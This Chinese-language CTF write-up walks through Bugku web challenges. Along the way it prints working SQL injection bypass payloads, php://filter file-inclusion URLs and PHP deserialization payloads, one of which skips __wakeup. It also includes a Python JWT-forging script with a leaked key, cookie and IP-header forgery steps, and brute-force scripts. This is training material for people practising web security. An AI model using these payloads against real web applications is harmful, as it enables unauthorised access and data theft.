新版Bugku-論劍場-Web部分writeup

Web1(代碼審計)

file_get_content不僅可以讀取文件,還可以讀取只讀流:php://input
構(gòu)造Payload:

Web2(數(shù)據(jù)提交)

發(fā)現(xiàn)需要在3s計算出一個表達式的結(jié)果,直接計算不太現(xiàn)實,可以嘗試使用Python腳本:

#coding=utf-8
import requests
import re
url="http://*.*.*.*/"
s=requests.Session()#創(chuàng)建會話
rul=re.compile('\d(.*?)\)')#匹配規(guī)則
text = re.search(rul,s.get(url).text)
if text:
exp=text.group()#匹配到結(jié)果
res=eval(exp)#計算表達式
data={"result":res}
print(s.post(url,data=data).text)#提交

Web3(文件包含)

最開始一直以為是文件上傳漏洞,發(fā)現(xiàn)是判斷文件的MIME類型,不管上傳什么類型文件,只要修改Content-Type為:image/png就可以實現(xiàn)繞過,服務端收到文件后會基于某個規(guī)則重命名文件名,然后然后在每個文件后面添加.png拓展名,嘗試上傳一句話,發(fā)現(xiàn)能上傳成功的只有png文件,經(jīng)過測試發(fā)現(xiàn)服務端并不能解析png文件,無法使用菜刀連接,然后掙扎了好久,發(fā)現(xiàn)僅僅使用文件上傳獲得webshell找不到方法。觀察url發(fā)現(xiàn):在URL里面有個op參數(shù),可能含有文件包含操作,嘗試使用php://filter讀取源碼:構(gòu)造payload:
http://ip/?op=php://filter/read/convert.base64-encode/resource=flag
讀取flag,最開始我是讀取的index.php內(nèi)容,但是發(fā)現(xiàn)一旦加上.php就會提示no such page,之后刪除.php,發(fā)現(xiàn)讀取成功。

Web4(Sql注入)

進入頁面,猜測就是sql注入,直接使用sqlmap跑,發(fā)現(xiàn)中途提示有個302重定向:
訪問鏈接得到URL。
當然也可以手注, 使用or在密碼欄構(gòu)造恒成立語句,payload:' or '1'='1 成功繞過。

Web5(暫時沒法做)

Web6(IP偽造+暴力破解)

進入是個登錄頁面:

隨便輸入,提示ip禁止訪問,再加上本地管理員,想到偽造ip:X-Forwarded-For和Client-Ip,經(jīng)過測試發(fā)現(xiàn)偽造X-Forwarded-For為本地ip可通過:
然后發(fā)現(xiàn)注釋有個base64編碼提示,解碼為test123,猜測可能為用戶名或者密碼,最后發(fā)現(xiàn)是密碼,用戶名為admin可得到flag。

Web7(Cookie偽造)

主頁是一個登錄頁面,先嘗試隨意登錄,使用賬號admin:password

提示用戶權(quán)限不夠,之前標題是給你一些小餅干,猜測和cookie有關(guān),抓包查看cookie:
發(fā)現(xiàn)r和u,應該對應的用戶名和密碼,但是位數(shù)不對,發(fā)現(xiàn)兩個前面都有共同字符串:351e766803,去除這個字符串,對剩下的字符串進行md5解密:(推薦網(wǎng)站https://www.somd5.com/https://www.cmd5.com/兩個可以交叉使用)

因為提示權(quán)限問題,將第一個cookie修改為admin的md5值:
成功得到flag

Web8(暫未更新)

Web9(PUT方法提交數(shù)據(jù))

進入頁面發(fā)現(xiàn)提示:

要求使用PUT方法提交數(shù)據(jù),抓包修改:
注意修改content-type的類型值。
application/x-www-form-urlencoded主要用于表單提交,在http請求中,ContentType都是默認的值 application/x-www-form-urlencoded。

Web10(JWT)

查看源代碼發(fā)現(xiàn)提示:

這種只有大寫字母和數(shù)字2-7的很像Base21,嘗試使用Base32解密:

使用kk:kk123進行登錄:

使用vim崩潰的話,應該會殘留swp文件,在主頁后面的文件加上swp:
成功下載swp文件后到虛擬機使用vi -r命令恢復,恢復的代碼如下:
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>在線日記本</title>
<form action="" method="POST">
  <p>username: <input type="text" name="username" /></p>
  <p>password: <input type="password" name="password" /></p>
  <input type="submit" value="login" />
</form>
<!--hint:NNVTU23LGEZDG===-->
</html>
<?php
    error_reporting(0);
    require_once 'src/JWT.php';

    const KEY = 'L3yx----++++----';

    function loginkk()
    {
        $time = time();
        $token = [
          'iss'=>'L3yx',
          'iat'=>$time,
          'exp'=>$time+5,
          'account'=>'kk'
        ];
        $jwt = \Firebase\JWT\JWT::encode($token,KEY);
        setcookie("token",$jwt);
        header("location:user.php");
    }

    if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='')
    {
        if($_POST['username']=='kk' && $_POST['password']=='kk123')
        {
            loginkk();
        }
        else
        {
            echo "賬號或密碼錯誤";
        }
    }
?> 

想簡單了解一下jwt的童鞋,可參考文章10分鐘了解JSON Web令牌從代碼可知道JWT的key,payload,所以可以通過腳本構(gòu)造賬號為L3yx的JWT:

#coding=utf-8
import requests
import re
import time
import json
import math
import hashlib
import base64
import hmac

def baseURL(date,flag=1):      #flag表示傳入的是bytes類型還是字符串類型,1表示字符串
        if(flag):
                bs = base64.b64encode(date.encode("utf-8")) # 將字符為unicode編碼轉(zhuǎn)換為utf-8編碼
        else:
                bs=base64.b64encode(date)
        bs=bs.decode('utf-8')
        bs=bs.replace('+','-')
        bs=bs.replace('/','_')
        bs=bs.replace('=','')
        return bs

url="http://*.*.*.*/user.php"
s=requests.session()
header={
        "typ":"JWT",
        "alg":"HS256"
}       

iat=math.trunc(time.time())             #將時間戳轉(zhuǎn)換為整數(shù)
payloads={
        "iss":"L3yx",
        "iat":iat,
        "exp":iat+5,
        "account":"L3yx"
}

res=baseURL(json.dumps(header))+"."+baseURL(json.dumps(payloads))       #將字典轉(zhuǎn)換位json對象,并用Base64Url加密
hs=hmac.new(b'L3yx----++++----',res.encode(),digestmod=hashlib.sha256)  #使用Hmac Sha256進行加密(注意函數(shù)需要的類型為byes)
sign=baseURL(hs.digest(),0)

token=res+"."+sign
cookies={'token':token}
req=s.get(url,cookies=cookies)

rul=re.compile('flag')  #查找是否有flag
text = re.search(rul,req.text)
if text:
        print(req.text)

因為時間差異可能需要多提交幾次:

Web11(robots.txt文件+hash碰撞)

進入頁面+查看源代碼沒發(fā)現(xiàn)什么信息,發(fā)現(xiàn)網(wǎng)頁標簽名字叫robots,嘗試訪問robots.txt:



發(fā)現(xiàn)shell.php,訪問發(fā)現(xiàn)要求輸入字符串的md5前6位為后面隨機變化的數(shù)值:



利用python腳本:
#coding=utf-8
import requests
import hashlib
import re

url="http://*.*.*.*/shell.php"
s=requests.session()
val=s.get(url)
#val.encoding='utf-8'
#print(val.text)
rul=re.compile('= (.*?)<')#匹配規(guī)則
res=re.search(rul,val.text)
if res:
    tm=res.group().strip("= <")#獲取結(jié)果并去除多余的符號
    for i in range(1,100000000):
        m=hashlib.md5()
        b = str(i).encode(encoding='utf-8')
        m.update(b)
        mate = m.hexdigest()
        if(mate[:6]==tm):
            print(s.get(url+"?password="+str(i)).text)
            break

Web12(代碼審計+反序列化)

進入頁面,通過查看源代碼獲取代碼。

if(isset($_GET['rua'])){    
    $rua = $_GET['rua'];    
    @unserialize($rua);    
}

首先要有參數(shù)rua,然后需要傳遞序列化串,關(guān)于序列化和反序列化的使用可參照:https://www.cnblogs.com/youyoui/p/8610068.html,

function __wakeup(){    
        $this->password = 1; echo 'hello hacker,I have changed your password and time, rua!';    
}

因為反序列化后會先看書否有__wakeup函數(shù),這里的__wakeup函數(shù)是設(shè)置password為1,也就是說我們無論傳遞password值為多少,最后都為1(補充說一下:函數(shù)部分有__construct函數(shù),在反序列化時是不會自動調(diào)用的,在新建對象時會調(diào)用)

function __destruct(){    
        if(!empty($this->password))    
        {    
            if(strcmp($this->password,$this->truepassword)==0){    
                echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";    
                if(!empty($this->time)){    
                    if(!is_numeric($this->time)){    
                        echo 'Sorry.<br>';    
                        show_source(__FILE__);    
                    }    
                    else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){    
                        echo 'you need a bigger time.<br>';    
                    }    
                    else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){    
                        echo 'you need a smaller time.<br>';    
                    }    
                    else{    
                        sleep((int)$this->time);    
                        var_dump($this->flag);    
                    }    
                    echo '<hr>';    
                }    
                else{    
                    echo '<h1>you have no time!!!!!</h1><br>';    
                }    
            }    
            else{    
                echo '<h1>Password is wrong............</h1><br>';    
            }    
        }    
        else{    
            echo "<h1>Please input password..........</h1><br>";    
        }    
    }

從上述代碼可知,會比較傳遞的password和truepassword的值,因為不知道truepassword為多少,所以可以通過傳遞truepassword將truepassword修改為1,然后就是判斷time,首先第一個要求是利用is_numeric判斷參數(shù)值,為true的情況有:數(shù)字和數(shù)字字符串(包括16進制和8進制,以及以科學計數(shù)法的字符串,比如“1e5”,0x開頭的字符串,注意以0開頭表示8進制的數(shù)字字符串會被當成10進制數(shù)字字符串),假如傳遞的為范圍內(nèi),即1275523920-1333502280之間的純數(shù)字,那么下面的sleep函數(shù)過后才能出flag,,,所以需要傳遞數(shù)字字符串,字符串在轉(zhuǎn)為int時,如果首位為0,int值就為0,所以傳遞范圍間的16進制數(shù),我選擇的是:1275523930,其16進制為4c06f35a
所以構(gòu)造payload:
http://.../index.php?
rua=O:4:%22Time%22:3:{s:12:%22truepassword%22;i:1;s:4:%22time%22;s:10:%220x4c06f35a%22;s:8:%22password%22;s:1:%22a%22;}
得到flag:

Web13(利用腳本快速提交)

首先查看源代碼和嘗試登陸沒發(fā)現(xiàn)有用的信息,然后抓包:



發(fā)現(xiàn)給出了Password字段,解密為:flag{32de1e4dd00f706c19cde1f78392c22f}
在輸入框提交32de1e4dd00f706c19cde1f78392c22f,提交后出來提示:



要求提交速度要快,嘗試利用腳本解決:
#encoding=utf-8
import requests
import base64
import re

url='http://*.*.*.*/index.php'
s=requests.session()
headers=s.post(url,data={'password':'123456'}).headers
mid=base64.b64decode(headers['Password'])
mid=mid.decode()
rul=re.compile('{(.*?)}')
res=re.search(rul,mid)
if res:
    str=res.group().strip('{}')
    print(s.post(url,data={'password':str}).text)

Web14(Git泄露)

進入頁面,查看源代碼可發(fā)現(xiàn)提示



先后嘗試了robots.txt以及御劍掃描還有可能存在的備份文件,都沒有找到有用的信息。然后在我查找有關(guān)備份信息的時候發(fā)現(xiàn)有個Kali工具:nikto,具體信息不多說網(wǎng)上都有



OK,找到突破口,Git泄露,使用GitHack工具下載文件

然后打開flag.php。

Web15(swp)

先嘗試提交數(shù)據(jù),抓包:



發(fā)現(xiàn)提示:



hint為16進制字符串-先將其轉(zhuǎn)換為ASC-Base32解碼-Base64解碼:

提交發(fā)現(xiàn)還是不對,頁面一直提示不是這里,再加上訪問index.php是302不是404,所以在index.php嘗試提交:


Web16(代碼審計+修改cookie)

最開始通過抓包之類的沒有發(fā)現(xiàn)有用的信息,然后發(fā)現(xiàn)源文件里面有個script.js文件,在瀏覽器控制臺將eval換成alert:



整理獲取到的代碼:

function getCookie(cname){  //獲取cookie值
    var name=cname+"=";
    var ca=document.cookie.split(';');
    for(var i=0;i<ca.length;i++){
        var c=ca[i].trim();
        if(c.indexOf(name)==0)
            return c.substring(name.length,c.length)
    }
    return"";
}
function decode_create(temp){       //加密算法
    var base=new Base64();
    var result=base.decode(temp);
    var result3="";
    for(i=0;i<result.length;i++){
        var num=result[i].charCodeAt();     //charCodeAt() 方法可返回指定位置的字符的 Unicode 編碼
        num=num^i;
        num=num-((i%10)+2);
        result3+=String.fromCharCode(num)   //fromCharCode() 可接受一個指定的 Unicode 值,然后返回一個字符串。
    }
    return result3;
}
function ertqwe(){
    var temp_name="user";
    var temp=getCookie(temp_name);
    temp=decodeURIComponent(temp);
    var mingwen=decode_create(temp);
    var ca=mingwen.split(';');
    var key="";
    for(i=0;i<ca.length;i++){
        if(-1<ca[i].indexOf("flag")){
            key=ca[i+1].split(":")[2]}
        }
        key=key.replace('"',"").replace('"',"");
        document.write('<img id="attack-1" src="image/1-1.jpg">');
        setTimeout(function(){document.getElementById("attack-1").src="image/1-2.jpg"},1000);
        setTimeout(function(){document.getElementById("attack-1").src="image/1-3.jpg"},2000);
        setTimeout(function(){document.getElementById("attack-1").src="image/1-4.jpg"},3000);
        setTimeout(function(){document.getElementById("attack-1").src="image/6.png"},4000);
        setTimeout(function(){alert("你使用如來神掌打敗了蒙老魔,但不知道是真身還是假身,提交試一下吧!flag{"+md5(key)+"}")},5000);
}

將最后一個方法的方法名稱去掉,復制到瀏覽器執(zhí)行:

通過訪問wulin.php,可發(fā)現(xiàn)出題人的彩蛋,可驗證flag,提交flag失敗,然后輸出mingwen發(fā)現(xiàn)使用了序列化對象
然后我們需要做的就是修改money-逆向加密打包-修改cookie值,首先依據(jù)解密函數(shù),可寫出加密函數(shù)
function encode_create(temp){       //加密算法
    var result3="";
    for(i=0;i<temp.length;i++){
        var num=temp[i].charCodeAt();
        num=num+((i%10)+2);
        num=num^i;
        result3+=String.fromCharCode(num);
    }
    var base=new Base64();  
    var result=base.encode(result3);
    return result;
}

使用函數(shù)發(fā)現(xiàn),對原序列字符串加密的結(jié)果與原字符串不同,可能Base64函數(shù)有問題,發(fā)現(xiàn)decode函數(shù)注釋掉了一行代碼

,encode函數(shù)卻有utf-8的加密,
,所以可以注釋掉encode函數(shù)中的input=_utf8_encode(input),然后修改數(shù)據(jù),加密
,最后修改cookie(可通過插件修改,或者通過控制臺document.cookie='user=....')

然后就買買買,打Boss,最后得flag。

Web18(SQL注入)

首先找到注入點,點擊lis發(fā)現(xiàn)url里面有個id值,添加'頁面內(nèi)容出錯,

然后添加注釋--+(+url編碼表示空格),發(fā)現(xiàn)頁面內(nèi)容正常,存在注入點
測試發(fā)現(xiàn)過濾了or、and、select、union,嘗試雙寫可以成功繞過,然后就是手注過程,先判斷列數(shù),可以使用union select也可以使用order by判斷,經(jīng)判斷列數(shù)為3,然后爆數(shù)據(jù)庫:

http://*/list.php?id=0'ununionion selecselectt 1,2,database()--+

然后爆表:

http://*/list.php?id=0' ununionion selecselectt 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='web18'--+ (也可將'web18'改為database())

然后爆字段

http://*/list.php?id=0' ununionion selecselectt 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'--+

然后爆字段值

http://*/list.php?id=0' ununionion selecselectt 1,2,flag from flag--+

Web19(未完成)

進入頁面,查看源代碼和抓包未發(fā)現(xiàn)有用信息,然后嘗試敏感目錄掃描(可以使用御劍和kali的工具nikto)

發(fā)現(xiàn)有config.php,還發(fā)現(xiàn)存在git泄露,利用GitHack工具,下載發(fā)現(xiàn)flag.txt,打開得到提示
---不知道啥意思

Web20(動態(tài)提交)

訪問頁面,發(fā)現(xiàn)提示:

利用腳本提交:

#coding=utf-8
import requests
import re

url="http://*.*.*.*:10020/"
s=requests.session()
rul=re.compile('[a-zA-Z0-9](.*)[0-9]')
val=s.get(url)
res=re.search(rul,val.text)
if res:
    print(res.group())
    url=url+"index.php?key="+res.group()
    print(url)
    data={'key':res.group()}
    print(s.get(url).text)

Web21(php偽協(xié)議+反序列化)

進入,查看源代碼發(fā)現(xiàn)提示:

將參數(shù)user值作為打開的文件名字,并看文件內(nèi)容是否為admin,然后利用文件包含讀取源代碼,首先關(guān)于是否為admin的判斷,這里我所知的有兩種方法可以實現(xiàn):
1.在自己的服務器建立一個內(nèi)容為admin的文件,然后在user輸入文件地址:
2.利用php偽協(xié)議,file_get_contents是可以處理php://input只讀流的

第一步判斷完成后再利用文件包含使用php偽協(xié)議讀取源碼的base64加密數(shù)據(jù),使用php://filter協(xié)議
分別讀取class.php和index.php,內(nèi)容如下

//index.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}
 
?>
 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
class.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

通過代碼分析可知需要利用反序列化讀取f1a9.php,構(gòu)造payload:pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

Web22(有問題)

Web23(驗證碼繞過)

進入查看源代碼未發(fā)現(xiàn)提示,掃描目錄發(fā)現(xiàn)文件:

然后訪問readme.txt發(fā)現(xiàn)提示
訪問1.png發(fā)現(xiàn)驗證碼漏洞提示,可通過設(shè)置PHPSESSID為空,并且驗證碼為空來進行繞過,使用Burp進行暴力破解:

Web24(代碼審計-PHP反序列化)

進入頁面發(fā)現(xiàn)是商城的展示頁面,發(fā)現(xiàn)所有的鏈接都不能點,F(xiàn)12發(fā)現(xiàn)提示:

然后訪問發(fā)現(xiàn)代碼:
分析發(fā)現(xiàn):
1.將獲取到的var的base64值進行解碼;

2.反序列化,調(diào)用__wakeup函數(shù),并且不會自動調(diào)用__construct函數(shù);
3.調(diào)用__destruct函數(shù);
根據(jù)提示可知獲取flag的關(guān)鍵在于__destruct處理的$this->file值是否為the_f1ag.php,而__wakeup函數(shù)會將變量值設(shè)置為index.php,所以先繞過__wakeup函數(shù)

當序列化字符串中,表示對象屬性個數(shù)的值大于實際屬性個數(shù)時,那么就會跳過wakeup方法的執(zhí)行。舉個栗子,比如有個Student類,里面有個參數(shù)為name。
實際情況:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload對象屬性個數(shù)為2,而實際屬性個數(shù)為1,那么就會掉入漏洞,從而跳過wakeup()方法。

構(gòu)造payload:
var=TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoyOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7fQ==

然后還有一點需要需要注意的是,class內(nèi)的file變量屬性為私有屬性,需要反序列化私有對象需要特殊格式(可參考:反序列化注意事項)

Web25(敏感目錄+字典遍歷)

進入頁面發(fā)現(xiàn)有個下載鏈接,然后點擊發(fā)現(xiàn)有個下載字典的連接,但是點擊提示404

然后開始嘗試遍歷后面的ziidan.txt文件名稱,發(fā)現(xiàn)失敗,之后刪除2那個目錄,在進行嘗試,成功,獲取到ziidan.txt的內(nèi)容:
在主頁面進行遍歷提交發(fā)現(xiàn)失敗,然后嘗試使用敏感目錄掃描,發(fā)現(xiàn)shell.php
訪問再進行遍歷

成功:

Web26()

Web27(XXE-未完成)

關(guān)于xxe不太了解的童鞋,可以參看文章xxe漏洞攻防學習,基于文章的基礎(chǔ)上,構(gòu)造payload,讀取源碼

都未發(fā)現(xiàn)什么有用信息。

流量分析

下載壓縮包,解壓,用wireshark打開:

然后選擇TCP流,右鍵追蹤TCP流
可獲得flag

日志審計

下載文件,使用notepad++打開,查找關(guān)鍵字flag,發(fā)現(xiàn)sqlmap對flag.php的爆破記錄:

分析可獲取flag

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容